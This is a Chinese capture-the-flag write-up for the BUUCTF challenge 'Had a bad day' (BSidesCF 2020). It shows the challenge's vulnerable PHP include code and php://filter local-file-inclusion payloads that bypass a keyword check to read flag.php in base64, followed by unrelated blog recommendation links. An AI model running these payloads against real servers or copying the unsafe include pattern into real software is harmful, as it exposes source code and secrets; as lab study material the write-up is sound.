BUU34 [BSidesCF 2020]Had a bad day1 【php://filter】

题目:

发现url有点奇怪

尝试读取一下flag.php,出现错误了

感觉有希望,一看url中还有个index.php,那就试试读取源码吧

出现错误,原来是index.php.php重合了,把php去掉 ,出现了

php 复制代码
<?php
	$file = $_GET['category'];

	if(isset($file))
				{
	    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
					}
	else{
			echo "Sorry, we currently only support woofers and meowers.";
					}
				}
?>

让提交的内容中含有woofers,meowers或者index就行了

这里面write可写可不写:

write 的作用是将经过特定过滤处理后(用php://filter过滤的)的数据写入到指定的文件中。而 index.php 就是指定的目标文件。也就是说,write=index.php 表示要把经过当前过滤器处理后的数据写入到 index.php 文件里。

解码得到flag

filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
?category=php://filter/read=index/convert.base64-encode/resource=flag(顺序可以变换)

PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响

所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag

相关推荐
杉氧4 小时前
React 灵魂:深入剖析 Hooks 与副作用(Side Effects)陷阱
android·前端·react native
又见情义5 小时前
RK3568 + RTL8211F 网络唤醒(WOL)功能适配全记录
android·网络·驱动开发
用户0934077735145 小时前
HarmonyOS WPS Open SDK 实践:registerApp 鉴权与就绪门禁
android·typescript·harmonyos
jike_20265 小时前
会议离线录音APP:无网络记录能力对比
android·智能手机·语音识别
always_TT6 小时前
【Python 字符串格式化:format() 方法】
android·开发语言·python
恋猫de小郭6 小时前
AI 时代,一个优化 Flutter 的重复代码工具 Deslop
android·前端·flutter
RisunJan6 小时前
Android 面试知识点整理
android·面试·职场和发展
脚踏实地,坚持不懈!7 小时前
Android ANR 内核底层全解析:从一次触摸到“应用无响应”
android·linux
xhBruce7 小时前
强制使用桌面模式 - SECONDARY_HOME -android-15.0.0_r23
android·launcher3
_祝你今天愉快18 小时前
从驱动来分析服务的添加过程
android